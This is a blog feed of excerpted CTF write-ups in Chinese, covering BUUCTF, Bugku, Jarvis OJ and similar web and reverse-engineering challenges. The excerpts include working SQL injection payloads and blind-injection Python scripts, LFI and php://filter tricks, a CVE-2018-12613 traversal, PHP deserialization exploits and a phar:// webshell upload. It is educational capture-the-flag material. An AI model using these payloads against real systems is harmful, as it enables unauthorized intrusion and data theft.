Richardの小小杂货铺 - WriteUp
type: channel
link: https://blog.domineto.top/category/writeup/
items: BUUCTF-web writeup (更新中)
items: 2019 中关村CTF 部分 writeup
items: [XMan] 个人练习赛のwriteup
items: 记录一次内部赛的writeup
items: Jarvis OJ Writeup(web) (更新中）
items: [Bugku] INSERT INTO注入
items: [Bugku] 多次
items: 一道比赛题的writeup
items: Bugku CTF-RE writeup(更新中)
items: Bugku CTF-Web Writeup

BUUCTF-web writeup (更新中)
type: item
date: 2019-08-19T08:04:00+00:00
description: Warmup进去后查看网页源代码，发现source.php，打开得到源码。审计源码，不会做QAQ。感觉urldecode可以搞事情。打开谷歌，查找资料，找到了这个: phpmyadmin 4.8.1 远程文件包含漏洞（CVE-2018-12613构造payload：http://web5.buuoj.cn/source.php?file=hint.php%253f../../../../../../ffffllllaaaagggg得到flag。随便注这道题是国赛中写过的题目。上次忘记写wp了，这次就当复现了。注入，简单测试，发现select被ban了。用分号隔开来执行多条语句：/?inject=1%27;show%20databases%23成功查出数据库库名。接着查表：/?inject=1%27;use%20supersqli;show%20tables%23查列：/?inject=1%27;use%20supersqli;show%20tables;show%20columns%20from%20words%23 /?inject=1%27;use%20supersqli;show%20tables;show%20columns%20from`1919810931114514`%23发现那一串数字的列里面有flag。不能用select如何查字段呢？整理一下逻辑：后端从words表里面取出我们输入所对应的语句，那么可以通过这里来取出我们想要的flag。简单测试一下，如果没有id字段会直接报错，于是要把所有语句都放在一起。Payload如下：/?inject=1%27;use%20supersqli;show%20tables;ALTER%20TABLE%20words%20RENAME%20TO%20row;ALTER%20TABLE`1919810931114514`RENAME%20TO%20words;alter%20table%20words%20add%20id%20int(4)%23接着在最开始的界面中注入得到flag：http://web16.buuoj.cn/?inject=1%27+or+1%3D1%23adminhctf_flask-master.zip这题我在测试的时候让它报错了……然后直接拿到了一个 Python 的沙盒……然后就任意代码执行拿到 flag 了……大佬的 writeup ：https://www.anquanke.com/post/id/164086#h2-0Hack World基于布尔的盲注。简单测试了一下发现过滤了空格和*，那就用 TAB 来代替。上脚本：import requests import string flag = "" url = "http://web43.buuoj.cn/index.php" characters = string.ascii_letters + string.digits + string.punctuation for i in range(1, 268): next_pos = False for j in characters: payload = "id=0^(ascii(substr((select(flag)from\tflag),{0},1))={1})".format(i, ord(j)) data = {"id": payload} #print (data) response = requests.post(url, data=data) if "Hello, glzjin wants a girlfriend." in response.text: next_pos = True flag += j break print (flag) if (next_pos == False): break print (flag)piapiapiahttps://blog.domineto.top/CTF/619.html[De1CTF 2019]SSRF Medelta_2019_web_ssrfme-master.zip进去之后直接给了源码。题目提示了flag在 ./flag.txt 这个文件里面，于是想到 LFI。寻找可以进行 LFI 的地方，在scan 函数中找到了 urlopen 这个函数。urlopen 可以通过 file:// 流来进行读取本地文件。向上回溯，这里有两个地方需要绕过：action 中需要包含 read 字符串，这里有一个加盐MD5需要绕过。题目的 waf 过滤了 gopher 和 file 关键字第一个地方盐加在字符串的前面，且盐的长度已知，所以可以通过哈希长度扩展攻击来绕过。第二个地方可以用 CVE-…

2019 中关村CTF 部分 writeup
type: item
date: 2019-08-16T10:00:00+00:00
description: WebGame简单调试一下发现一些神奇的代码:if(score == 15) { $.ajax({ url: 'score.php', type: 'POST', data: 'score='+score, success: function(data){ var data = data; $("#output").text(data); } }) }于是 POST 一个 score=15 上去得到 flag 。who_are_you?XXE + 伪协议读 index.php 的源码：show_me_your_image这题是赛后复现的……hint 有一个 base64 ，解码又都是乱码，猜测被魔改过。于是写脚本爆编码表。爆完后就可以任意文件读取了。# encoding: utf-8 import re import requests import base64 import string import urllib def f(c): a = string.ascii_letters + string.digits for i in a: for j in a: for k in a: for l in a: tmp = i+j+k+l tmp = str(base64.b64encode(tmp.encode('utf-8')), "utf-8") if c in tmp[:-3]: return i+j+k+l def GetTable(url): a = string.ascii_letters + string.digits res = {'=': '='} for i in a: if i == 'f' or i == '7': continue s = f(i) row = str(base64.b64encode(s.encode("utf-8")), "utf-8") files = {'file':(s + ".png", '')} headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0' } sess = requests.session() r = sess.post(url=url, files=files, headers=headers) pattern = re.compile('name=(.*)?"') change = urllib.parse.unquote(re.findall(pattern, r.text)[1]) res[i] = change[row.index(i)] # print (res) return res # url = "http://c0b835ad52ee4262b54b46c2898668cabd947f96cd41440d.changame.ichunqiu.com/upload.php" # table = GetTable(url) # print (table) def MyBase64(row, table): tmp = str(base64.b64encode(row.encode('utf-8')), "utf-8") res = "" for i in tmp: res += table[i] return res def GetFlag(url, payload, table): sess = requests.session() payload = url + urllib.parse.quote(MyBase64(payload, table)) r = sess.get(payload) return (r.text) table = {'=': '=', 'a': 'T', 'b': 'A', 'c': 'j', 'd': 'S', 'e': '6', 'g': 'e', 'h': 'f', 'i': 'x', 'j': 'k', 'k': '9', 'l': 'V', 'm': 'X', 'n': 'g', 'o': 'v', 'p': 's', 'q': 'R', 'r': 'c', 's': 'u', 't': 'F', 'u': '+', 'v': '8', 'w': 'p', 'x': 'H', 'y': '4', 'z': 'B', 'A': '/', 'B': 'd', 'C': '3', 'D': 'y', 'E': 'i', 'F': 'N', 'G': 'm', 'H': 'o', 'I': '7', 'J': 'C', 'K': 'z', 'L': 'a…

[XMan] 个人练习赛のwriteup
type: item
date: 2019-08-01T15:37:00+00:00
description: 由于本蒟蒻实力有限，wp可能写的不好，所以请大佬轻喷。(不完整？说了我是蒟蒻，写不完很正常好吧(ノ｀Д)ノ )WebNaNNaNNaNNaN-Batman这道题是我做过的题，所以并没有卡多久。下载下来的文件含有一堆乱码，但还是可以看懂一些的。这段代码定义了一个变量 _ (什么鬼命名(╯‵□′)╯︵┻━┻)，最后有一句 eval(\_) 。将 eval 改成 alert ，就可以输出正确的代码了：function $() { var e=document.getElementById("c").value; if(e.length==16) if(e.match(/^be0f23/)!=null) if(e.match(/233ac/)!=null) if(e.match(/e98aa$/)!=null) if(e.match(/c7be9/)!=null) { var t=["fl","s_a","i","e}"]; var n=["a","_h0l","n"]; var r=["g{","e","_0"]; var i=["it'","_","n"]; var s=[t,n,r,i]; for(var o=0;o<13;++o) { document.write(s[o%4][0]); s[o%4].splice(0,1) } } } document.write(' Ok ');delete _到这里有两种解法。构造一个字符串满足那几个 if 就可以了。(我那么懒怎么可能这样做嘛 :D)既然最后都是要执行 if 里面的那一串代码，那我就单独把它拿出来执行不久得到flag了吗？拿出来放进console，得到flag。unserialize3这道题考察的知识点有两个：反序列化绕过魔术方法 _wakeup (PHP反序列化注入漏洞)直接上exp吧：<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $a = new xctf(); echo serialize($a); ?>payload:http://111.198.29.45:59722/?code=O:4:%22xctf%22:5:{s:4:%22flag%22;s:3:%22111%22;}CAT这道题算是涨姿势了(我承认我是看了wp之后才会的)。进去后是一个 ping IP 的网页，随便填一个IP，啧啧啧，直接把所有信息返回了。尝试命令执行，发现除了 . 以外的特殊字符全给 ban 了…… Fuzz一通发现 %a0 这个字符让它报错了，然后就不知道怎么办了…………下面就摘抄一下大佬的wp吧：查看官方的wp开始的时候并不是很理解为什么输入为%80(以及%80之后的url编码)就可以返回Django报错，查看url编码表后结合报错信息UnicodeEncodeError可以推断是由于ascii编码不支持导致的报错,根据报错信息可以得到的信息网站是使用Django进行开发的,结合PHP可以通过在参数中注入@来读取文件的漏洞,依次查看python的配置文件和数据库得到flag的内容payload:?url=@/opt/api/api/settings.py,获取数据库名:os.path.join(BASE_DIR, \\\'database.sqlite3\\\'),\npayload:?url=@/opt/api/database.sqlite3,获取数据库内容，搜索关键字 CTF 就可以找到 flag 了。这道题等我彻底弄清楚后再总结吧。(其实我还是有点懵)ics-05工控云管理系统。进去瞎点一通发现 index.php 这个文件。进去接着瞎点发现它接受一个参数 page 。嗯……那就试试 page=index.html。发现包含了之前的主页。明显的 LEI，那就上伪协议读一波源码:http://111.198.29.45:39091/index.php?page=php://filter/read=convert.base64-encode/resource=index.php源码：<?php error_reporting(0); @session_start(); posix_setuid(1000); ?> 设备维护中心 云平台设备维护中心 设备列表 <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <?php echo $page; die();?> <?php }else{ ?> <?php if (strpos($page,…

记录一次内部赛的writeup
type: item
date: 2019-06-12T06:00:00+00:00
description: Web0x01：签到题源码[collapse title="源码" status="false"]index.php: Tips: the parameter is file! :) <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo " error! "; } else { include($file.'.php'); } } ?> upload.php: file: <?php if(!empty($_FILES["file"])) { echo $_FILES["file"]; $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"]; } else { echo "upload failed!"; } } ?>[/collapse]writeup进去有一句话：Tips: the parameter is file! :), 意思是这个页面接受一个参数file。查看网页源代码发现有一句注释 “upload.php”，访问后是一个文件上传的界面。回去index界面，尝试输入参数file=upload.php，发现报错：Warning: include(upload.php.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 15得知这个参数的值是传给include的，并且会在后面补一个 .php 后缀。尝试加个%00截断。被waf吃了……用PHP伪协议读源码，发现可以读到源码。index.php 和 upload.php 的源码在上面。审计源码发现 upload.php 限制了上传的后缀和content-type，并且过滤了%00之类的截断，所以不可能直接上传包含恶意文件。这里利用了 phar:// 伪协议。写一个含有PHP木马的文件a.php，打包成压缩包，再重命名为b.jpg，然后上传。成功上传后构造payload如下：http://174.137.54.82:8080/?file=phar://upload/b.jpg/a成功Getshell，在根目录下找到flag。总结这道题的知识点主要是 phar:// 伪协议。这个伪协议可以访问压缩流，并且和文件的后缀无关。所以可以绕过后缀检测读取恶意文件。0x02 babyweb源码：[collapse title="源码" status="false"]index.php:<?php class BlogLog { public $log_ = '/tmp/web_log'; public $content = '[access] %s'; public function __construct($data=null) { $temp = $this->init($data); $this->render($temp); } public function init($d…

Jarvis OJ Writeup(web) (更新中）
type: item
date: 2019-05-17T06:46:00+00:00
description: PORT51要从51端口访问这个网站，curl走一波：curl web.jarvisoj.com:32770 --local-port 51LOCALHOST本地访问，加一对XFF键值对就好啦：X-Forwarded-For : 127.0.0.1Login需要登录，尝试注入，未果。抓包，发现 header 里面有一个hint："select * from `admin` where password='".md5($pass,true)."'"md5()这个函数可以接受两个参数：string 和 raw。第一个参数string是必需的，规定要计算的字符串。第二个参数raw可选，规定十六进制或二进制输出格式：TRUE – 原始 – 16 字符二进制格式FALSE – 默认 – 32 字符十六进制数raw参数为 true 意味着加密后的值会被当成字符串来看，于是找一个加密后带有注入语句的值就可以了。这里给出两个：content: 129581926211651571912466741651878684928 hex: 06da5430449f8f6f23dfc1276f722738 raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8 string: T0Do#'or'8content: ffifdyop hex: 276f722736c95d99e921722cf9ed621c raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c string: 'or'6]!r,b神盾局的秘密这道题打开来是一张图片。日常查看源码，发现源码如下： 点开链接，发现是一堆奇怪的字符。观察这个URL，这里应该是将 img 进行base64解密后再将这个文件包含进来。想到文件包含，那就来包含一下这个 showimg.php 和 index.php 的源码吧：[collapse title="index.php源码" status="false"]<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?>[/collapse][collapse title="showimg.php源码" status="false"]<?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>[/collapse]看到 index.php 里面的 unserialize 就想到反序列化漏洞。然后就找可用的函数。这里包含了一个 shield.php ，于是再看一下它的源码：[collapse title="shield.php源码" status="false"]<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>[/collapse]这时候应该很明显了。剩下的不难，直接放exp吧：[collapse title="exp" status="false"]<?php <?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile()…

[Bugku] INSERT INTO注入
type: item
date: 2019-04-28T13:42:00+00:00
description: 这道题有一个坑卡了我贼久，单独拿出来记录一下。原题https://ctf.bugku.com/challenges#INSERT%20INTO%E6%B3%A8%E5%85%A5源码分析源码题目给出了：<?php error_reporting(0); function getIp(){ $ip = ''; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; //XFF优先 }else{ $ip = $_SERVER['REMOTE_ADDR']; //否则REMOTE_ADDR } $ip_arr = explode(',', $ip); //过滤',' return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; //insert into注入点 mysql_query($sql); ?>观察源码可以看出，获取XFF中的IP，然后根据逗号切分，返回第一部分。这就意味着我们没办法使用逗号。所以这里只能用基于时间的注入，注入点是XFF头。在过滤了逗号的情况下，我们就不能使用if语句了，在mysql中与if有相同功效的就是：select case when (条件) then 代码1 else 代码 2 end;而且由于逗号,被过滤，我们就不能使用substr、substring了，但我们可以使用：from 1 for 1。那么就开始注入吧。注入爆库：#!/usr/bin/env python import requests,time,string characters = string.ascii_letters + string.digits + string.punctuation max_length = 50 target = 'http://120.24.86.145:8002/web15/' database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1" def get_database(): flag = '' for i in range(1, max_length): next_position = False for char in characters: payload = "'+(select case when (substring((select database() ) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char) headers = { 'X-Forwarded-For': payload } try: r = requests.get(target,headers=headers,timeout=4) except requests.exceptions.ReadTimeout: flag += char print(flag) next_position = True break if not next_position: return flag get_database()说明一下为什么Payload里面最右边多了一个括号：这个是为了闭合源码中 INSERT INTO 里面的括号。爆表：payload = "'+(select case when (substring((select table_name from information_schema.tables where table_schema=database() limit 1 offset 1) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)!> 注意这里需要加上 limit 限制选择的表的数量。不然的话……(明白我的意思吧)爆字段：payl…

[Bugku] 多次
type: item
date: 2019-04-28T11:18:00+00:00
description: 这道题比较有意思，涉及到的知识点也比较多，单独拿出来记录一下吧。原题：https://ctf.bugku.com/challenges#%E5%A4%9A%E6%AC%A1第一关1. 找注入点进去后只有一句话。首先先找注入点。发现URL有一个id=1，猜想这里会有注入点。加个单引号，果然报错了。说明这里存在注入点。2. 判断过滤这里返回只有两种情况，所以可以用以下语句判断过滤：?id=1'^(length('union')>0)%23这里后面用 "#" 的话无法注入，可能是哪里过滤了 “#” 号。这里是通过异或来判断真假。这里如果不报错的话就说明里面的字符串被过滤了。经过检测发现 select, union, or, and 都被过滤了。并且这里的过滤是直接替换为空。3. 注入既然如此，就可以通过特殊的方法来绕过。比如：oorr就可以绕过这种检测一次的过滤。下面就是常规的注入过程啦(记得绕过过滤)。直接给最后结果吧：id=%27 ununionion seselectlect 1,flag1 from flag1%23select 出来一个flag。但是里面还有一个address，查看可以得到第二关的地址。第二关和上一关一样的检测方法。查出来union被过滤了。但是上一关的绕过方法用不了了。这里利用的是基于报错的updatexml注入。首先先了解一下updatexml：UPDATEXML (XML_document, XPath_string, new_value); 第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc 第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。 第三个参数：new_value，String格式，替换查找到的符合条件的数据 作用：改变文档中符合条件的节点的值Payload:/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23这里提交的是~sql语句~，是不符合xml格式的，所以会报错。报错会造成 select group_concat(table_name) from information_schema.tables where table_schema=database() 语句的执行，所以可以注入。此时回显：My Id =1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)# Nobody! XPATH syntax error: '~class,flag2~'接下来就是常规的注入啦~第三关第二关拿到flag就可以过了。但是既然还有第三关那当然要看看啦。提示要用特定的IP访问，那就修改XFF头来绕过，得到一个二维码。扫描后得到：你……你……你可以看到我? 好吧，我来自于ErWeiMa.php 顺便告诉你两个密码 one:参数名是game; tow:flag在admin里 对了,文件后@…c=Y&$as%_=#*ad…*@#！*&@…c……既然如此，那就构造payload：/Have_Fun.php/?game=php://filter/convert.base64-encode/resource=admin.php得到flag。

一道比赛题的writeup
type: item
date: 2019-04-26T05:38:00+00:00
description: 虽然本蒟蒻只写出了这一道题，但毕竟是我第一个写出的比赛题(虽然有大佬帮助才写出来的)。写写wp总结一下吧。源码由于环境已经没有了，就简单说一下源码怎么来的吧。题目中有提示： 于是想到 PHP伪协议，得到源码如下：[collapse title="hint.php源码" status="false"]<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } ?>[/collapse][collapse title="index.php源码" status="false"] <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.' '; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> [/collapse]分析拿到源码看一眼就知道这个是反序列化漏洞。通过反序列化来调用Handle的 __destruct函数，然后getflag。剩下的就是找到过滤了哪些东西，然后怎么绕过去。仔细观察源码，可以看到这里有三个地方需要绕过：通过 parse_url 来获取payload的值，然后过滤flag字符；Handle的 __wakeup 函数会清空 handle 变量；Flag 对象里面的 token_flag 在 get_flag 函数里面会被赋值为一个随机数的 MD5 值，而 flag 和 token_flag 相等才会输出flag。那么来看看怎么绕过。parse_url 在 PHP5.4.7 之前有一个漏洞：只要在URL前面加上两个 // 就会使其返回 False。具体参考这里这里可以利用反序列化注入漏洞绕过。在 PHP5 < 5.6.25 PHP7 < 7.0.10 的情况下，反序列化传入字符串中声明的变量个数与实际不符合的话，__wakeup 就会被绕过。具体可以参考这里这个地方有两种方法可以过。最简单的当然是暴力啦~只要你够欧，一次就绕过(雾)。好吧这里应该是让 token 等于 token_flag 的引用。这样两个就肯定相等啦。Payload绕过点都分析了，那么就是实际操作了：<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo…

Bugku CTF-RE writeup(更新中)
type: item
date: 2019-04-19T14:01:00+00:00
description: 入门逆向拖进ida，一路“R”下去，flag就出来了。easy_vb丢进ida，慢慢向下翻，flag就出来了。easy_Re丢进ida，按下F5，反编译成伪C语言：看到输入和v5比较。再看v5，出现的地方只有三处：上面的是定义，下面的是使用。那么中间的就肯定是赋值了。查看另一个变量xmmword_413E34，得到flag。(记得反转)

Bugku CTF-Web Writeup
type: item
date: 2019-04-03T03:40:00+00:00
description: 虽然现在我很多题都是要看别人的 writeup 才做的出，但是自己写下来遇到的坑什么的还是有好处的。顺便加深印象啦~P.S. 我这里没有的都是我写的时候环境坏了的题目web2这道题很简单。打开看到一堆滑稽，冷静思考后按下F12，flag就出来了。计算器打开后看到要计算，那就算吧。算出来之后输入，结果只能输一位。想到可能是限制了最大驶入长度。按下F12看到有maxlength，把1改成任意数即可。web基础$_GET这道题源码告诉了我们要GET一个 what 变量，如果是 flag 则输出 flag。构造URL如下：http://123.206.87.240:8002/get/?what=flag得到flag。web基础$_POST和上面的差不多，只是要求 POST 的方式提交。利用hackbar POST 一个 what=flag 上去即可。矛盾首先观察源码，num不为数字的时候执行语句，又要num==1才输出flag。观察到这里用的是 ==，PHP会对比较的两个变量进行类型转换。于是构造num=1a，成功输出flag。web3进去之后只有弹窗，一片空白。于是果断抓包。看到html代码最下面有一行注释掉的html密文，丢进 burp 解密得到flag。域名解析按照题目修改host文件再访问即可。你必须让他停下这道题打开后有一些图片一直在闪，题目说是要让他停下，那就burp抓包慢慢看吧。丢到repeater里面，发现body里面有一句flag is here~多GO几次flag就出来了。本地包含打开就有源码：<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>嗯…………那就var_dump一下$GLOBALS吧。嗯？Too Young Too Simple？那行吧。既然我的输入是eval出来的，那么就闭合前面的var_dump我就可以为所欲为咯？Payload：http://123.206.87.240:8003/?hello=);include(%22php://filter/read=convert.base64-encode/resource=flag.php%22直接伪协议读源码。得到flag。变量1打开题目后有一句话 flag in the variable!意思是flag在变量里面。接着是源码<?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ die("args error!"); } eval("var_dump($$args);"); } ?>这个意思是以GET的方式获取args的值，正则是筛掉非字母数字下划线的输入。重点是下面的 var_dump($$args)，这个意思是输出一个可变变量的值。根据之前所说的flag在变量里面，很容易想到PHP的超全局变量$GLOBALS。于是构造URL如下：http://123.206.87.240:8004/index1.php?args=GLOBALS得到flag。web5JSFuck（或为了避讳脏话Fuck写作 JSF*ck ）是一种深奥的 JavaScript 编程风格。以这种风格写成的代码中仅使用 [、]、(、)、! 和 + 六种字符。此编程风格的名字派生自仅使用较少符号写代码的Brainfuck语言。与其他深奥的编程语言不同，以JSFuck风格写出的代码不需要另外的编译器或解释器来执行，无论浏览器或JavaScript引擎中的原生 JavaScript 解释器皆可直接运行。鉴于 JavaScript 是弱类型语言，编写者可以用数量有限的字符重写 JavaScript 中的所有功能，且可以用这种方式执行任何类型的表达式。查看源码，复制，丢进Console，flag就出来了。(这里我遇到了一个坑，直接F12显示不完全，所以要Ctrl+U来查看)头等舱打开来就一句话，F12也没东西。那就放进Burp里面抓包看看。flag就在头里面。网站被黑题目说没技术含量，那就爆破呗~打开看到一个页面，没什么有用的信息。直接御剑扫一波后台，发现一个shell.php页面。进去后要登录，Burp抓包爆破一波，出密码输入就得到flag。管理员系统打开看到要求输入账号密码，于是想到注入。在输入后发现提示IP禁止登录，请联系本地管理员登录，IP已被记录。按下F12查看源码，发现一段base6…